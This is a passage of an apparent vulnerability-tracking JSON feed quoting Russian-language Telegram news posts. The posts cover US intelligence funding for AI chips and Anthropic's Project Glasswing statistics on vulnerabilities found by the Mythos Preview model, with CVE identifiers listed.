\u0411\u0435\u043b\u044b\u0439 \u0434\u043e\u043c \u043e\u0434\u043e\u0431\u0440\u0438\u043b \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0441\u0443\u043c\u043c\u0443 $9 \u043c\u043b\u0440\u0434 \u0434\u043b\u044f \u043f\u0440\u0438\u043e\u0431\u0440\u0435\u0442\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u044b\u0445 \u0447\u0438\u043f\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0441\u043b\u0443\u0436\u0431\u0430\u043c \u0421\u0428\u0410 \u0434\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u0441\u0435\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043d\u043e\u0432\u0435\u0439\u0448\u0438\u0445 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0441 \u0430\u043a\u0446\u0435\u043d\u0442\u043e\u043c \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043a\u0438\u0431\u0435\u0440\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0438 \u0438 \u043e\u0431\u043e\u0440\u043e\u043d\u044b.\n\nNYT \u043f\u0438\u0448\u0443\u0442, \u0447\u0442\u043e \ud83c\uddfa\ud83c\uddf8\u0426\u0420\u0423 \u0438 \ud83c\uddfa\ud83c\uddf8\u0410\u041d\u0411 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0439 \u043c\u0435\u0440\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u043d\u043e\u0432\u0435\u0439\u0448\u0438\u0435 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0437\u0430\u0441\u0435\u043a\u0440\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0445\u0432\u0430\u0442\u043a\u0438 \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u0445 \u043c\u0438\u043a\u0440\u043e\u0441\u0445\u0435\u043c. \u0414\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0442\u0430\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0434\u0430\u0442\u0430-\u0446\u0435\u043d\u0442\u0440\u044b, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043b\u043e\u0441\u0441\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u044a\u0435\u043c\u044b \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u044d\u043d\u0435\u0440\u0433\u0438\u0438 \u0438 \u043e\u0441\u043d\u0430\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438 \u0436\u0438\u0434\u043a\u043e\u0441\u0442\u043d\u043e\u0433\u043e \u043e\u0445\u043b\u0430\u0436\u0434\u0435\u043d\u0438\u044f.\n\n\u041a\u043e\u043d\u0433\u0440\u0435\u0441\u0441 \u0421\u0428\u0410 \u0435\u0449\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u044d\u0442\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u043e\u0434\u043d\u0430\u043a\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0443\u0436\u0435 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 $800 \u043c\u043b\u043d \u0434\u043b\u044f \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0437\u0430\u043a\u0443\u043f\u043a\u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u043e\u0449\u043d\u043e\u0441\u0442\u0435\u0439. \u041f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u0432, \u0432 \u0431\u0443\u0434\u0443\u0449\u0435\u043c \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u0430\u043c \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0435\u0449\u0435 \u0431\u043e\u043b\u0435\u0435 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0443\u043c\u043c\u044b. \u0411\u044b\u0432\u0448\u0438\u0439 \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442 \u043f\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0410\u041d\u0411 \u0438 \u0441\u0442\u0430\u0440\u0448\u0438\u0439 \u043d\u0430\u0443\u0447\u043d\u044b\u0439 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a \u043f\u043e \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c \u0418\u0418 \u0432 \u0421\u043e\u0432\u0435\u0442\u0435 \u043f\u043e \u043c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u044b\u043c \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f\u043c \u0412\u0438\u043d\u044c \u041d\u0433\u0443\u0435\u043d \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u043d\u0443\u043b, \u0447\u0442\u043e \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u0435 \u0440\u0443\u0431\u0435\u0436\u0438, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e \u043b\u0443\u0447\u0448\u0438\u0435 \u0418\u0418-\u0447\u0438\u043f\u044b, \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438, \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0442\u0430\u043b\u0430\u043d\u0442\u044b.\n\n\u0413\u043b\u0430\u0432\u0430 \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u0430 \u0411\u0435\u043b\u043e\u0433\u043e \u0434\u043e\u043c\u0430 \u0421\u044c\u044e\u0437\u0438 \u0423\u0430\u0439\u043b\u0441 \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b\u0430 \ud83c\udfa9\u0410\u041d\u0411 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u043e\u0439 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438 Mythos \u043e\u0442 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Anthropic. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u043e \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u041f\u0435\u043d\u0442\u0430\u0433\u043e\u043d \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043b \u0434\u0430\u043d\u043d\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u0434\u043b\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a.\n\n\u270b @Russian_OSINT", "creation_timestamp": "2026-09-02T06:00:17.507757Z"}, {"uuid": "4bfefc55-5b2c-48f3-90cc-96f629d01ddf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5466", "type": "seen", "source": "https://t.me/Russian_OSINT/7197", "content": "\ud83c\ude01 \u041f\u0435\u0440\u0432\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043f\u0440\u043e\u0435\u043a\u0442 Glasswing\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Anthropic \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0441\u0432\u0435\u0436\u0438\u0435 \u0446\u0438\u0444\u0440\u044b \u043f\u043e \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u0438\u0432\u0435 Project Glasswing. \u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0438 \u043e\u043a\u043e\u043b\u043e 50 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u043f\u0430\u0440\u0442\u043d\u0451\u0440\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u0443\u044e \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c \ud83e\udd16Mythos Preview \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \ud83d\ude06\u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e \u0432\u0430\u0436\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f. \u0417\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u043c\u0435\u0441\u044f\u0446 \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0431\u043e\u043b\u0435\u0435 \u2194\ufe0f10 000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udda5 \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Cloudflare \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 2 000 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445. \u0418\u0437 \u043d\u0438\u0445 400 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043b\u043e\u0436\u043d\u044b\u0445 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0439 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u043c, \u0447\u0435\u043c \u0443 \u043b\u044e\u0434\u0435\u0439-\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u043e\u0432.\n\n\ud83e\uddca \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Mozilla \u043d\u0430\u0448\u043b\u0438 \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438 271 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 Firefox 150.\n\n\ud83c\uddec\ud83c\udde7\u0418\u043d\u0441\u0442\u0438\u0442\u0443\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0418\u0418 \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e Mythos \u0441\u0442\u0430\u043b\u0430 \u043f\u0435\u0440\u0432\u043e\u0439 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430\u0441\u044c \u0441 \u0437\u0430\u0434\u0430\u0447\u0430\u043c\u0438 \u043d\u0430 \u043e\u0431\u043e\u0438\u0445 \u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u043b\u0438\u0433\u043e\u043d\u0430\u0445, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0441\u043e\u0431\u043e\u0439 \u0441\u0438\u043c\u0443\u043b\u044f\u0446\u0438\u0438 \u043c\u043d\u043e\u0433\u043e\u044d\u0442\u0430\u043f\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a.\n\n\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0438 Anthropic \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0432 \u0441\u0444\u0435\u0440\u0435 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0433\u043b\u0430\u0432\u043d\u044b\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435\u043c \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u0442\u0430\u043b\u0430 \u043d\u0435 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c \u043f\u043e\u0438\u0441\u043a\u0430 \u043e\u0448\u0438\u0431\u043e\u043a, \u0430 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0430\u0442\u0447\u0438. \u041d\u043e\u0432\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043b\u0438 \u0441\u0432\u043e\u044e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435, \u043a\u043e\u0433\u0434\u0430 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0431\u0430\u043d\u043a\u043e\u0432-\u043f\u0430\u0440\u0442\u043d\u0435\u0440\u043e\u0432 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c \u043f\u043e\u043c\u043e\u0433\u043b\u0430 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u043d\u0430 \u0441\u0443\u043c\u043c\u0443 $1,5 \u043c\u043b\u043d.\n\n\u041d\u0438\u0436\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u044b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438:\n\n\ud83d\udd0d \u041f\u043e\u0438\u0441\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n\u2022 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c \u0432\u044b\u044f\u0432\u0438\u043b\u0430 23 019 \"\u043d\u0430\u0445\u043e\u0434\u043e\u043a\". \u0424\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043b\u044e\u0431\u044b\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0430\u0441\u0442\u043a\u0438 \u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0438.\n\u2022 \u0412\u043d\u0435\u0448\u043d\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438 1 900 \u043d\u0430\u0445\u043e\u0434\u043e\u043a.\n\u2022 \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u044c 1 726 \u0431\u0430\u0433\u043e\u0432, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u043e\u043b\u044f \u0442\u043e\u0447\u043d\u044b\u0445 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0439 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 90,8%.\n\u2022 \u041e\u0441\u043e\u0431\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-27654, CVE-2026-5199 \u0438 CVE-2026-5466.\n\n\ud83d\udce8 \u0420\u0430\u0431\u043e\u0442\u0430 \u0441 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 \n\u2022 \u0410\u0432\u0442\u043e\u0440\u0430\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u043e \u043e 1 596 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445.\n\u2022 \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043e\u0445\u0432\u0430\u0442\u0438\u043b\u0430 281 \u043f\u0440\u043e\u0435\u043a\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c. \n\u2022 \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u041f\u041e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e 1 451 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\ud83d\udee1 \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \n\u2022 \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 97 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\u2022 \u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043e 88 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 CVE \u0438 GHSA.\n\n\ud83d\udc46\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044e\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u0440\u0435\u043b\u0438\u0437 \ud83e\udd16Mythos \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0443\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u044b \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0434\u043b\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f.\n\n--------------------------\n\n\ud83d\udcd6\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c \u0442\u043e\u0442 \u0444\u0430\u043a\u0442, \u0447\u0442\u043e \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0438 \u0431\u044b\u0432\u0448\u0438\u0445 \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0438\u0445 \u0447\u0438\u043d\u043e\u0432\u043d\u0438\u043a\u043e\u0432, \u0411\u0435\u043b\u044b\u0439 \u0434\u043e\u043c \u043e\u0434\u043e\u0431\u0440\u0438\u043b \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0441\u0443\u043c\u043c\u0443 $9 \u043c\u043b\u0440\u0434 \u0434\u043b\u044f \u043f\u0440\u0438\u043e\u0431\u0440\u0435\u0442\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u044b\u0445 \u0447\u0438\u043f\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0441\u043b\u0443\u0436\u0431\u0430\u043c \u0421\u0428\u0410 \u0434\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u0441\u0435\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043d\u043e\u0432\u0435\u0439\u0448\u0438\u0445 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0441 \u0430\u043a\u0446\u0435\u043d\u0442\u043e\u043c \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043a\u0438\u0431\u0435\u0440\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0438 \u0438 \u043e\u0431\u043e\u0440\u043e\u043d\u044b.\n\nNYT \u043f\u0438\u0448\u0443\u0442, \u0447\u0442\u043e \ud83c\uddfa\ud83c\uddf8\u0426\u0420\u0423 \u0438 \ud83c\uddfa\ud83c\uddf8\u0410\u041d\u0411 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0439 \u043c\u0435\u0440\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u043d\u043e\u0432\u0435\u0439\u0448\u0438\u0435 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0437\u0430\u0441\u0435\u043a\u0440\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0445\u0432\u0430\u0442\u043a\u0438 \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u0445 \u043c\u0438\u043a\u0440\u043e\u0441\u0445\u0435\u043c. \u0414\u043b\u044f 